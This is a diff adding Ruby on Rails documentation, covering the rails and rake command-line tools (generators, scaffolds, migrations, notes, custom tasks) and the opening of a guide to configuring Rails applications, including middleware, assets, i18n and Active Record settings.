+The `rails generate` command uses templates to create a whole lot of things. Running `rails generate` by itself gives a list of available generators:
+
+INFO: You can also use the alias "g" to invoke the generator command: `rails g`.
+
+```bash
+$ bin/rails generate
+Usage: rails generate GENERATOR [args] [options]
+
+...
+...
+
+Please choose a generator below.
+
+Rails:
+  assets
+  controller
+  generator
+  ...
+  ...
+```
+
+NOTE: You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own!
+
+Using generators will save you a large amount of time by writing **boilerplate code**, code that is necessary for the app to work.
+
+Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator:
+
+INFO: All Rails console utilities have help text. As with most *nix utilities, you can try adding `--help` or `-h` to the end, for example `rails server --help`.
+
+```bash
+$ bin/rails generate controller
+Usage: rails generate controller NAME [action action] [options]
+
+...
+...
+
+Description:
+    ...
+
+    To create a controller within a module, specify the controller name as a
+    path like 'parent_module/controller_name'.
+
+    ...
+
+Example:
+    `rails generate controller CreditCard open debit credit close`
+
+    Credit card controller with URLs like /credit_card/debit.
+        Controller: app/controllers/credit_card_controller.rb
+        Test:       test/controllers/credit_card_controller_test.rb
+        Views:      app/views/credit_card/debit.html.erb [...]
+        Helper:     app/helpers/credit_card_helper.rb
+```
+
+The controller generator is expecting parameters in the form of `generate controller ControllerName action1 action2`. Let's make a `Greetings` controller with an action of **hello**, which will say something nice to us.
+
+```bash
+$ bin/rails generate controller Greetings hello
+     create  app/controllers/greetings_controller.rb
+      route  get "greetings/hello"
+     invoke  erb
+     create    app/views/greetings
+     create    app/views/greetings/hello.html.erb
+     invoke  test_unit
+     create    test/controllers/greetings_controller_test.rb
+     invoke  helper
+     create    app/helpers/greetings_helper.rb
+     invoke    test_unit
+     create      test/helpers/greetings_helper_test.rb
+     invoke  assets
+     invoke    coffee
+     create      app/assets/javascripts/greetings.js.coffee
+     invoke    scss
+     create      app/assets/stylesheets/greetings.css.scss
+```
+
+What all did this generate? It made sure a bunch of directories were in our application, and created a controller file, a view file, a functional test file, a helper for the view, a JavaScript file and a stylesheet file.
+
+Check out the controller and modify it a little (in `app/controllers/greetings_controller.rb`):
+
+```ruby
+class GreetingsController < ApplicationController
+  def hello
+    @message = "Hello, how are you today?"
+  end
+end
+```
+
+Then the view, to display our message (in `app/views/greetings/hello.html.erb`):
+
+```erb
+<h1>A Greeting for You!</h1>
+<p><%= @message %></p>
+```
+
+Fire up your server using `rails server`.
+
+```bash
+$ bin/rails server
+=> Booting WEBrick...
+```
+
+The URL will be [http://localhost:3000/greetings/hello](http://localhost:3000/greetings/hello).
+
+INFO: With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a URL like http://(host)/(controller) will hit the **index** action of that controller.
+
+Rails comes with a generator for data models too.
+
+```bash
+$ bin/rails generate model
+Usage:
+  rails generate model NAME [field[:type][:index] field[:type][:index]] [options]
+
+...
+
+Active Record options:
+      [--migration]            # Indicates when to generate migration
+                               # Default: true
+
+...
+
+Description:
+    Create rails files for model generator.
+```
+
+NOTE: For a list of available field types, refer to the [API documentation](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html#method-i-column) for the column method for the `TableDefinition` class.
+
+But instead of generating a model directly (which we'll be doing later), let's set up a scaffold. A **scaffold** in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above.
+
+We will set up a simple resource called "HighScore" that will keep track of our highest score on video games we play.
+
+```bash
+$ bin/rails generate scaffold HighScore game:string score:integer
+    invoke  active_record
+    create    db/migrate/20130717151933_create_high_scores.rb
+    create    app/models/high_score.rb
+    invoke    test_unit
+    create      test/models/high_score_test.rb
+    create      test/fixtures/high_scores.yml
+    invoke  resource_route
+     route    resources :high_scores
+    invoke  scaffold_controller
+    create    app/controllers/high_scores_controller.rb
+    invoke    erb
+    create      app/views/high_scores
+    create      app/views/high_scores/index.html.erb
+    create      app/views/high_scores/edit.html.erb
+    create      app/views/high_scores/show.html.erb
+    create      app/views/high_scores/new.html.erb
+    create      app/views/high_scores/_form.html.erb
+    invoke    test_unit
+    create      test/controllers/high_scores_controller_test.rb
+    invoke    helper
+    create      app/helpers/high_scores_helper.rb
+    invoke      test_unit
+    create        test/helpers/high_scores_helper_test.rb
+    invoke    jbuilder
+    create      app/views/high_scores/index.json.jbuilder
+    create      app/views/high_scores/show.json.jbuilder
+    invoke  assets
+    invoke    coffee
+    create      app/assets/javascripts/high_scores.js.coffee
+    invoke    scss
+    create      app/assets/stylesheets/high_scores.css.scss
+    invoke  scss
+   identical    app/assets/stylesheets/scaffolds.css.scss
+```
+
+The generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the `high_scores` table and fields), takes care of the route for the **resource**, and new tests for everything.
+
+The migration requires that we **migrate**, that is, run some Ruby code (living in that `20130717151933_create_high_scores.rb`) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the `rake db:migrate` command. We'll talk more about Rake in-depth in a little while.
+
+```bash
+$ bin/rake db:migrate
+==  CreateHighScores: migrating ===============================================
+-- create_table(:high_scores)
+   -> 0.0017s
+==  CreateHighScores: migrated (0.0019s) ======================================
+```
+
+INFO: Let's talk about unit tests. Unit tests are code that tests and makes assertions about code. In unit testing, we take a little part of code, say a method of a model, and test its inputs and outputs. Unit tests are your friend. The sooner you make peace with the fact that your quality of life will drastically increase when you unit test your code, the better. Seriously. We'll make one in a moment.
+
+Let's see the interface Rails created for us.
+
+```bash
+$ bin/rails server
+```
+
+Go to your browser and open [http://localhost:3000/high_scores](http://localhost:3000/high_scores), now we can create new high scores (55,160 on Space Invaders!)
+
+### `rails console`
+
+The `console` command lets you interact with your Rails application from the command line. On the underside, `rails console` uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website.
+
+INFO: You can also use the alias "c" to invoke the console: `rails c`.
+
+You can specify the environment in which the `console` command should operate.
+
+```bash
+$ bin/rails console staging
+```
+
+If you wish to test out some code without changing any data, you can do that by invoking `rails console --sandbox`.
+
+```bash
+$ bin/rails console --sandbox
+Loading development environment in sandbox (Rails 4.0.0)
+Any modifications you make will be rolled back on exit
+irb(main):001:0>
+```
+
+### `rails dbconsole`
+
+`rails dbconsole` figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3.
+
+INFO: You can also use the alias "db" to invoke the dbconsole: `rails db`.
+
+### `rails runner`
+
+`runner` runs Ruby code in the context of Rails non-interactively. For instance:
+
+```bash
+$ bin/rails runner "Model.long_running_method"
+```
+
+INFO: You can also use the alias "r" to invoke the runner: `rails r`.
+
+You can specify the environment in which the `runner` command should operate using the `-e` switch.
+
+```bash
+$ bin/rails runner -e staging "Model.long_running_method"
+```
+
+### `rails destroy`
+
+Think of `destroy` as the opposite of `generate`. It'll figure out what generate did, and undo it.
+
+INFO: You can also use the alias "d" to invoke the destroy command: `rails d`.
+
+```bash
+$ bin/rails generate model Oops
+      invoke  active_record
+      create    db/migrate/20120528062523_create_oops.rb
+      create    app/models/oops.rb
+      invoke    test_unit
+      create      test/models/oops_test.rb
+      create      test/fixtures/oops.yml
+```
+```bash
+$ bin/rails destroy model Oops
+      invoke  active_record
+      remove    db/migrate/20120528062523_create_oops.rb
+      remove    app/models/oops.rb
+      invoke    test_unit
+      remove      test/models/oops_test.rb
+      remove      test/fixtures/oops.yml
+```
+
+Rake
+----
+
+Rake is Ruby Make, a standalone Ruby utility that replaces the Unix utility 'make', and uses a 'Rakefile' and `.rake` files to build up a list of tasks. In Rails, Rake is used for common administration tasks, especially sophisticated ones that build off of each other.
+
+You can get a list of Rake tasks available to you, which will often depend on your current directory, by typing `rake --tasks`. Each task has a description, and should help you find the thing you need.
+
+To get the full backtrace for running rake task you can pass the option
+```--trace``` to command line, for example ```rake db:create --trace```.
+
+```bash
+$ bin/rake --tasks
+rake about              # List versions of all Rails frameworks and the environment
+rake assets:clean       # Remove compiled assets
+rake assets:precompile  # Compile all the assets named in config.assets.precompile
+rake db:create          # Create the database from config/database.yml for the current Rails.env
+...
+rake log:clear          # Truncates all *.log files in log/ to zero bytes (specify which logs with LOGS=test,development)
+rake middleware         # Prints out your Rack middleware stack
+...
+rake tmp:clear          # Clear session, cache, and socket files from tmp/ (narrow w/ tmp:sessions:clear, tmp:cache:clear, tmp:sockets:clear)
+rake tmp:create         # Creates tmp directories for sessions, cache, sockets, and pids
+```
+INFO: You can also use ```rake -T```  to get the list of tasks.
+
+### `about`
+
+`rake about` gives information about version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version. It is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation.
+
+```bash
+$ bin/rake about
+About your application's environment
+Ruby version              1.9.3 (x86_64-linux)
+RubyGems version          1.3.6
+Rack version              1.3
+Rails version             4.1.1
+JavaScript Runtime        Node.js (V8)
+Active Record version     4.1.1
+Action Pack version       4.1.1
+Action View version       4.1.1
+Action Mailer version     4.1.1
+Active Support version    4.1.1
+Middleware                Rack::Sendfile, ActionDispatch::Static, Rack::Lock, #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x007ffd131a7c88>, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::Migration::CheckPending, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord:: [...]
+Application root          /home/foobar/commandsapp
+Environment               development
+Database adapter          sqlite3
+Database schema version   20110805173523
+```
+
+### `assets`
+
+You can precompile the assets in `app/assets` using `rake assets:precompile` and remove those compiled assets using `rake assets:clean`.
+
+### `db`
+
+The most common tasks of the `db:` Rake namespace are `migrate` and `create`, and it will pay off to try out all of the migration rake tasks (`up`, `down`, `redo`, `reset`). `rake db:version` is useful when troubleshooting, telling you the current version of the database.
+
+More information about migrations can be found in the [Migrations](migrations.html) guide.
+
+### `doc`
+
+The `doc:` namespace has the tools to generate documentation for your app, API documentation, guides. Documentation can also be stripped which is mainly useful for slimming your codebase, like if you're writing a Rails application for an embedded platform.
+
+* `rake doc:app` generates documentation for your application in `doc/app`.
+* `rake doc:guides` generates Rails guides in `doc/guides`.
+* `rake doc:rails` generates API documentation for Rails in `doc/api`.
+
+### `notes`
+
+`rake notes` will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is done in files with extension `.builder`, `.rb`, `.erb`, `.haml` and `.slim` for both default and custom annotations.
+
+```bash
+$ bin/rake notes
+(in /home/foobar/commandsapp)
+app/controllers/admin/users_controller.rb:
+  * [ 20] [TODO] any other way to do this?
+  * [132] [FIXME] high priority for next deploy
+
+app/models/school.rb:
+  * [ 13] [OPTIMIZE] refactor this code to make it faster
+  * [ 17] [FIXME]
+```
+
+If you are looking for a specific annotation, say FIXME, you can use `rake notes:fixme`. Note that you have to lower case the annotation's name.
+
+```bash
+$ bin/rake notes:fixme
+(in /home/foobar/commandsapp)
+app/controllers/admin/users_controller.rb:
+  * [132] high priority for next deploy
+
+app/models/school.rb:
+  * [ 17]
+```
+
+You can also use custom annotations in your code and list them using `rake notes:custom` by specifying the annotation using an environment variable `ANNOTATION`.
+
+```bash
+$ bin/rake notes:custom ANNOTATION=BUG
+(in /home/foobar/commandsapp)
+app/models/post.rb:
+  * [ 23] Have to fix this one before pushing!
+```
+
+NOTE. When using specific annotations and custom annotations, the annotation name (FIXME, BUG etc) is not displayed in the output lines.
+
+By default, `rake notes` will look in the `app`, `config`, `lib`, `bin` and `test` directories. If you would like to search other directories, you can provide them as a comma separated list in an environment variable `SOURCE_ANNOTATION_DIRECTORIES`.
+
+```bash
+$ export SOURCE_ANNOTATION_DIRECTORIES='spec,vendor'
+$ bin/rake notes
+(in /home/foobar/commandsapp)
+app/models/user.rb:
+  * [ 35] [FIXME] User should have a subscription at this point
+spec/models/user_spec.rb:
+  * [122] [TODO] Verify the user that has a subscription works
+```
+
+### `routes`
+
+`rake routes` will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with.
+
+### `test`
+
+INFO: A good description of unit testing in Rails is given in [A Guide to Testing Rails Applications](testing.html)
+
+Rails comes with a test suite called Minitest. Rails owes its stability to the use of tests. The tasks available in the `test:` namespace helps in running the different tests you will hopefully write.
+
+### `tmp`
+
+The `Rails.root/tmp` directory is, like the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions.
+
+The `tmp:` namespaced tasks will help you clear and create the `Rails.root/tmp` directory:
+
+* `rake tmp:cache:clear` clears `tmp/cache`.
+* `rake tmp:sessions:clear` clears `tmp/sessions`.
+* `rake tmp:sockets:clear` clears `tmp/sockets`.
+* `rake tmp:clear` clears all the three: cache, sessions and sockets.
+* `rake tmp:create` creates tmp directories for sessions, cache, sockets, and pids.
+
+### Miscellaneous
+
+* `rake stats` is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio.
+* `rake secret` will give you a pseudo-random key to use for your session secret.
+* `rake time:zones:all` lists all the timezones Rails knows about.
+
+### Custom Rake Tasks
+
+Custom rake tasks have a `.rake` extension and are placed in
+`Rails.root/lib/tasks`. You can create these custom rake tasks with the
+`bin/rails generate task` command.
+
+```ruby
+desc "I am short, but comprehensive description for my cool task"
+task task_name: [:prerequisite_task, :another_task_we_depend_on] do
+  # All your magic here
+  # Any valid Ruby code is allowed
+end
+```
+
+To pass arguments to your custom rake task:
+
+```ruby
+task :task_name, [:arg_1] => [:pre_1, :pre_2] do |t, args|
+  # You can use args from here
+end
+```
+
+You can group tasks by placing them in namespaces:
+
+```ruby
+namespace :db do
+  desc "This task does nothing"
+  task :nothing do
+    # Seriously, nothing
+  end
+end
+```
+
+Invocation of the tasks will look like:
+
+```bash
+$ bin/rake task_name
+$ bin/rake "task_name[value 1]" # entire argument string should be quoted
+$ bin/rake db:nothing
+```
+
+NOTE: If your need to interact with your application models, perform database queries and so on, your task should depend on the `environment` task, which will load your application code.
+
+The Rails Advanced Command Line
+-------------------------------
+
+More advanced use of the command line is focused around finding useful (even surprising at times) options in the utilities, and fitting those to your needs and specific work flow. Listed here are some tricks up Rails' sleeve.
+
+### Rails with Databases and SCM
+
+When creating a new Rails application, you have the option to specify what kind of database and what kind of source code management system your application is going to use. This will save you a few minutes, and certainly many keystrokes.
+
+Let's see what a `--git` option and a `--database=postgresql` option will do for us:
+
+```bash
+$ mkdir gitapp
+$ cd gitapp
+$ git init
+Initialized empty Git repository in .git/
+$ rails new . --git --database=postgresql
+      exists
+      create  app/controllers
+      create  app/helpers
+...
+...
+      create  tmp/cache
+      create  tmp/pids
+      create  Rakefile
+add 'Rakefile'
+      create  README.rdoc
+add 'README.rdoc'
+      create  app/controllers/application_controller.rb
+add 'app/controllers/application_controller.rb'
+      create  app/helpers/application_helper.rb
+...
+      create  log/test.log
+add 'log/test.log'
+```
+
+We had to create the **gitapp** directory and initialize an empty git repository before Rails would add files it created to our repository. Let's see what it put in our database configuration:
+
+```bash
+$ cat config/database.yml
+# PostgreSQL. Versions 8.2 and up are supported.
+#
+# Install the pg driver:
+#   gem install pg
+# On OS X with Homebrew:
+#   gem install pg -- --with-pg-config=/usr/local/bin/pg_config
+# On OS X with MacPorts:
+#   gem install pg -- --with-pg-config=/opt/local/lib/postgresql84/bin/pg_config
+# On Windows:
+#   gem install pg
+#       Choose the win32 build.
+#       Install PostgreSQL and put its /bin directory on your path.
+#
+# Configure Using Gemfile
+# gem 'pg'
+#
+development:
+  adapter: postgresql
+  encoding: unicode
+  database: gitapp_development
+  pool: 5
+  username: gitapp
+  password:
+...
+...
+```
+
+It also generated some lines in our database.yml configuration corresponding to our choice of PostgreSQL for database.
+
+NOTE. The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the `rails new` command to generate the basis of your app.
diff --git a/guides/source/configuring.md b/guides/source/configuring.md
new file mode 100644
index 0000000..f7c6ddd
--- /dev/null
+++ b/guides/source/configuring.md
@@ -0,0 +1,942 @@
+Configuring Rails Applications
+==============================
+
+This guide covers the configuration and initialization features available to Rails applications.
+
+After reading this guide, you will know:
+
+* How to adjust the behavior of your Rails applications.
+* How to add additional code to be run at application start time.
+
+--------------------------------------------------------------------------------
+
+Locations for Initialization Code
+---------------------------------
+
+Rails offers four standard spots to place initialization code:
+
+* `config/application.rb`
+* Environment-specific configuration files
+* Initializers
+* After-initializers
+
+Running Code Before Rails
+-------------------------
+
+In the rare event that your application needs to run some code before Rails itself is loaded, put it above the call to `require 'rails/all'` in `config/application.rb`.
+
+Configuring Rails Components
+----------------------------
+
+In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The configuration file `config/application.rb` and environment-specific configuration files (such as `config/environments/production.rb`) allow you to specify the various settings that you want to pass down to all of the components.
+
+For example, the `config/application.rb` file includes this setting:
+
+```ruby
+config.autoload_paths += %W(#{config.root}/extras)
+```
+
+This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same `config` object in `config/application.rb`:
+
+```ruby
+config.active_record.schema_format = :ruby
+```
+
+Rails will use that particular setting to configure Active Record.
+
+### Rails General Configuration
+
+These configuration methods are to be called on a `Rails::Railtie` object, such as a subclass of `Rails::Engine` or `Rails::Application`.
+
+* `config.after_initialize` takes a block which will be run _after_ Rails has finished initializing the application. That includes the initialization of the framework itself, engines, and all the application's initializers in `config/initializers`. Note that this block _will_ be run for rake tasks. Useful for configuring values set up by other initializers:
+
+    ```ruby
+    config.after_initialize do
+      ActionView::Base.sanitized_allowed_tags.delete 'div'
+    end
+    ```
+
+* `config.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints builtin in browsers using different domain aliases. Shorter version of `config.action_controller.asset_host`.
+
+* `config.autoload_once_paths` accepts an array of paths from which Rails will autoload constants that won't be wiped per request. Relevant if `config.cache_classes` is false, which is the case in development mode by default. Otherwise, all autoloading happens only once. All elements of this array must also be in `autoload_paths`. Default is an empty array.
+
+* `config.autoload_paths` accepts an array of paths from which Rails will autoload constants. Default is all directories under `app`.
+
+* `config.cache_classes` controls whether or not application classes and modules should be reloaded on each request. Defaults to false in development mode, and true in test and production modes. Can also be enabled with `threadsafe!`.
+
+* `config.action_view.cache_template_loading` controls whether or not templates should be reloaded on each request. Defaults to whatever is set for `config.cache_classes`.
+
+* `config.beginning_of_week` sets the default beginning of week for the
+application. Accepts a valid week day symbol (e.g. `:monday`).
+
+* `config.cache_store` configures which cache store to use for Rails caching. Options include one of the symbols `:memory_store`, `:file_store`, `:mem_cache_store`, `:null_store`, or an object that implements the cache API. Defaults to `:file_store` if the directory `tmp/cache` exists, and to `:memory_store` otherwise.
+
+* `config.colorize_logging` specifies whether or not to use ANSI color codes when logging information. Defaults to true.
+
+* `config.consider_all_requests_local` is a flag. If true then any error will cause detailed debugging information to be dumped in the HTTP response, and the `Rails::Info` controller will show the application runtime context in `/rails/info/properties`. True by default in development and test environments, and false in production mode. For finer-grained control, set this to false and implement `local_request?` in controllers to specify which requests should provide debugging information  [...]
+
+* `config.console` allows you to set class that will be used as console you run `rails console`. It's best to run it in `console` block:
+
+    ```ruby
+    console do
+      # this block is called only when running console,
+      # so we can safely require pry here
+      require "pry"
+      config.console = Pry
+    end
+    ```
+
+* `config.dependency_loading` is a flag that allows you to disable constant autoloading setting it to false. It only has effect if `config.cache_classes` is true, which it is by default in production mode. This flag is set to false by `config.threadsafe!`.
+
+* `config.eager_load` when true, eager loads all registered `config.eager_load_namespaces`. This includes your application, engines, Rails frameworks and any other registered namespace.
+
+* `config.eager_load_namespaces` registers namespaces that are eager loaded when `config.eager_load` is true. All namespaces in the list must respond to the `eager_load!` method.
+
+* `config.eager_load_paths` accepts an array of paths from which Rails will eager load on boot if cache classes is enabled. Defaults to every folder in the `app` directory of the application.
+
+* `config.encoding` sets up the application-wide encoding. Defaults to UTF-8.
+
+* `config.exceptions_app` sets the exceptions application invoked by the ShowException middleware when an exception happens. Defaults to `ActionDispatch::PublicExceptions.new(Rails.public_path)`.
+
+* `config.file_watcher` the class used to detect file updates in the filesystem when `config.reload_classes_only_on_change` is true. Must conform to `ActiveSupport::FileUpdateChecker` API.
+
+* `config.filter_parameters` used for filtering out the parameters that
+you don't want shown in the logs, such as passwords or credit card
+numbers. New applications filter out passwords by adding the following `config.filter_parameters+=[:password]` in `config/initializers/filter_parameter_logging.rb`.
+
+* `config.force_ssl` forces all requests to be under HTTPS protocol by using `ActionDispatch::SSL` middleware.
+
+* `config.log_formatter` defines the formatter of the Rails logger. This option defaults to an instance of `ActiveSupport::Logger::SimpleFormatter` for all modes except production, where it defaults to `Logger::Formatter`.
+
+* `config.log_level` defines the verbosity of the Rails logger. This option defaults to `:debug` for all modes except production, where it defaults to `:info`.
+
+* `config.log_tags` accepts a list of methods that respond to `request` object. This makes it easy to tag log lines with debug information like subdomain and request id - both very helpful in debugging multi-user production applications.
+
+* `config.logger` accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to an instance of `ActiveSupport::Logger`, with auto flushing off in production mode.
+
+* `config.middleware` allows you to configure the application's middleware. This is covered in depth in the [Configuring Middleware](#configuring-middleware) section below.
+
+* `config.reload_classes_only_on_change` enables or disables reloading of classes only when tracked files change. By default tracks everything on autoload paths and is set to true. If `config.cache_classes` is true, this option is ignored.
+
+* `config.secret_key_base` used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `config.secret_key_base` initialized to a random key in `config/initializers/secret_token.rb`.
+
+* `config.serve_static_assets` configures Rails itself to serve static assets. Defaults to true, but in the production environment is turned off as the server software (e.g. Nginx or Apache) used to run the application should serve static assets instead. Unlike the default setting set this to true when running (absolutely not recommended!) or testing your app in production mode using WEBrick. Otherwise you won't be able use page caching and requests for files that exist regularly under t [...]
+
+* `config.session_store` is usually set up in `config/initializers/session_store.rb` and specifies what class to use to store the session. Possible values are `:cookie_store` which is the default, `:mem_cache_store`, and `:disabled`. The last one tells Rails not to deal with sessions. Custom session stores can also be specified:
+
+    ```ruby
+    config.session_store :my_custom_store
+    ```
+
+    This custom store must be defined as `ActionDispatch::Session::MyCustomStore`.
+
+* `config.time_zone` sets the default time zone for the application and enables time zone awareness for Active Record.
+
+### Configuring Assets
+
+* `config.assets.enabled` a flag that controls whether the asset
+pipeline is enabled. It is set to true by default.
+
+*`config.assets.raise_runtime_errors`* Set this flag to `true` to enable additional runtime error checking. Recommended in `config/environments/development.rb` to minimize unexpected behavior when deploying to `production`.
+
+* `config.assets.compress` a flag that enables the compression of compiled assets. It is explicitly set to true in `config/environments/production.rb`.
+
+* `config.assets.css_compressor` defines the CSS compressor to use. It is set by default by `sass-rails`. The unique alternative value at the moment is `:yui`, which uses the `yui-compressor` gem.
+
+* `config.assets.js_compressor` defines the JavaScript compressor to use. Possible values are `:closure`, `:uglifier` and `:yui` which require the use of the `closure-compiler`, `uglifier` or `yui-compressor` gems respectively.
+
+* `config.assets.paths` contains the paths which are used to look for assets. Appending paths to this configuration option will cause those paths to be used in the search for assets.
+
+* `config.assets.precompile` allows you to specify additional assets (other than `application.css` and `application.js`) which are to be precompiled when `rake assets:precompile` is run.
+
+* `config.assets.prefix` defines the prefix where assets are served from. Defaults to `/assets`.
+
+* `config.assets.digest` enables the use of MD5 fingerprints in asset names. Set to `true` by default in `production.rb`.
+
+* `config.assets.debug` disables the concatenation and compression of assets. Set to `true` by default in `development.rb`.
+
+* `config.assets.cache_store` defines the cache store that Sprockets will use. The default is the Rails file store.
+
+* `config.assets.version` is an option string that is used in MD5 hash generation. This can be changed to force all files to be recompiled.
+
+* `config.assets.compile` is a boolean that can be used to turn on live Sprockets compilation in production.
+
+* `config.assets.logger` accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to the same configured at `config.logger`. Setting `config.assets.logger` to false will turn off served assets logging.
+
+### Configuring Generators
+
+Rails allows you to alter what generators are used with the `config.generators` method. This method takes a block:
+
+```ruby
+config.generators do |g|
+  g.orm :active_record
+  g.test_framework :test_unit
+end
+```
+
+The full set of methods that can be used in this block are as follows:
+
+* `assets` allows to create assets on generating a scaffold. Defaults to `true`.
+* `force_plural` allows pluralized model names. Defaults to `false`.
+* `helper` defines whether or not to generate helpers. Defaults to `true`.
+* `integration_tool` defines which integration tool to use. Defaults to `nil`.
+* `javascripts` turns on the hook for JavaScript files in generators. Used in Rails for when the `scaffold` generator is run. Defaults to `true`.
+* `javascript_engine` configures the engine to be used (for eg. coffee) when generating assets. Defaults to `nil`.
+* `orm` defines which orm to use. Defaults to `false` and will use Active Record by default.
+* `resource_controller` defines which generator to use for generating a controller when using `rails generate resource`. Defaults to `:controller`.
+* `scaffold_controller` different from `resource_controller`, defines which generator to use for generating a _scaffolded_ controller when using `rails generate scaffold`. Defaults to `:scaffold_controller`.
+* `stylesheets` turns on the hook for stylesheets in generators. Used in Rails for when the `scaffold` generator is run, but this hook can be used in other generates as well. Defaults to `true`.
+* `stylesheet_engine` configures the stylesheet engine (for eg. sass) to be used when generating assets. Defaults to `:css`.
+* `test_framework` defines which test framework to use. Defaults to `false` and will use Test::Unit by default.
+* `template_engine` defines which template engine to use, such as ERB or Haml. Defaults to `:erb`.
+
+### Configuring Middleware
+
+Every Rails application comes with a standard set of middleware which it uses in this order in the development environment:
+
+* `ActionDispatch::SSL` forces every request to be under HTTPS protocol. Will be available if `config.force_ssl` is set to `true`. Options passed to this can be configured by using `config.ssl_options`.
+* `ActionDispatch::Static` is used to serve static assets. Disabled if `config.serve_static_assets` is `false`.
+* `Rack::Lock` wraps the app in mutex so it can only be called by a single thread at a time. Only enabled when `config.cache_classes` is `false`.
+* `ActiveSupport::Cache::Strategy::LocalCache` serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread.
+* `Rack::Runtime` sets an `X-Runtime` header, containing the time (in seconds) taken to execute the request.
+* `Rails::Rack::Logger` notifies the logs that the request has begun. After request is complete, flushes all the logs.
+* `ActionDispatch::ShowExceptions` rescues any exception returned by the application and renders nice exception pages if the request is local or if `config.consider_all_requests_local` is set to `true`. If `config.action_dispatch.show_exceptions` is set to `false`, exceptions will be raised regardless.
+* `ActionDispatch::RequestId` makes a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method.
+* `ActionDispatch::RemoteIp` checks for IP spoofing attacks and gets valid `client_ip` from request headers. Configurable with the `config.action_dispatch.ip_spoofing_check`, and `config.action_dispatch.trusted_proxies` options.
+* `Rack::Sendfile` intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with `config.action_dispatch.x_sendfile_header`.
+* `ActionDispatch::Callbacks` runs the prepare callbacks before serving the request.
+* `ActiveRecord::ConnectionAdapters::ConnectionManagement` cleans active connections after each request, unless the `rack.test` key in the request environment is set to `true`.
+* `ActiveRecord::QueryCache` caches all SELECT queries generated in a request. If any INSERT or UPDATE takes place then the cache is cleaned.
+* `ActionDispatch::Cookies` sets cookies for the request.
+* `ActionDispatch::Session::CookieStore` is responsible for storing the session in cookies. An alternate middleware can be used for this by changing the `config.action_controller.session_store` to an alternate value. Additionally, options passed to this can be configured by using `config.action_controller.session_options`.
+* `ActionDispatch::Flash` sets up the `flash` keys. Only available if `config.action_controller.session_store` is set to a value.
+* `ActionDispatch::ParamsParser` parses out parameters from the request into `params`.
+* `Rack::MethodOverride` allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PATCH, PUT, and DELETE HTTP method types.
+* `ActionDispatch::Head` converts HEAD requests to GET requests and serves them as so.
+
+Besides these usual middleware, you can add your own by using the `config.middleware.use` method:
+
+```ruby
+config.middleware.use Magical::Unicorns
+```
+
+This will put the `Magical::Unicorns` middleware on the end of the stack. You can use `insert_before` if you wish to add a middleware before another.
+
+```ruby
+config.middleware.insert_before ActionDispatch::Head, Magical::Unicorns
+```
+
+There's also `insert_after` which will insert a middleware after another:
+
+```ruby
+config.middleware.insert_after ActionDispatch::Head, Magical::Unicorns
+```
+
+Middlewares can also be completely swapped out and replaced with others:
+
+```ruby
+config.middleware.swap ActionController::Failsafe, Lifo::Failsafe
+```
+
+They can also be removed from the stack completely:
+
+```ruby
+config.middleware.delete "Rack::MethodOverride"
+```
+
+### Configuring i18n
+
+All these configuration options are delegated to the `I18n` library.
+
+* `config.i18n.available_locales` whitelists the available locales for the app. Defaults to all locale keys found in locale files, usually only `:en` on a new application.
+
+* `config.i18n.default_locale` sets the default locale of an application used for i18n. Defaults to `:en`.
+
+* `config.i18n.enforce_available_locales` ensures that all locales passed through i18n must be declared in the `available_locales` list, raising an `I18n::InvalidLocale` exception when setting an unavailable locale. Defaults to `true`. It is recommended not to disable this option unless strongly required, since this works as a security measure against setting any invalid locale from user input.
+
+* `config.i18n.load_path` sets the path Rails uses to look for locale files. Defaults to `config/locales/*.{yml,rb}`.
+
+### Configuring Active Record
+
+`config.active_record` includes a variety of configuration options:
+
+* `config.active_record.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling `logger` on either an Active Record model class or an Active Record model instance. Set to `nil` to disable logging.
+
+* `config.active_record.primary_key_prefix_type` lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named `id` (and this configuration option doesn't need to be set.) There are two other choices:
+** `:table_name` would make the primary key for the Customer class `customerid`
+** `:table_name_with_underscore` would make the primary key for the Customer class `customer_id`
+
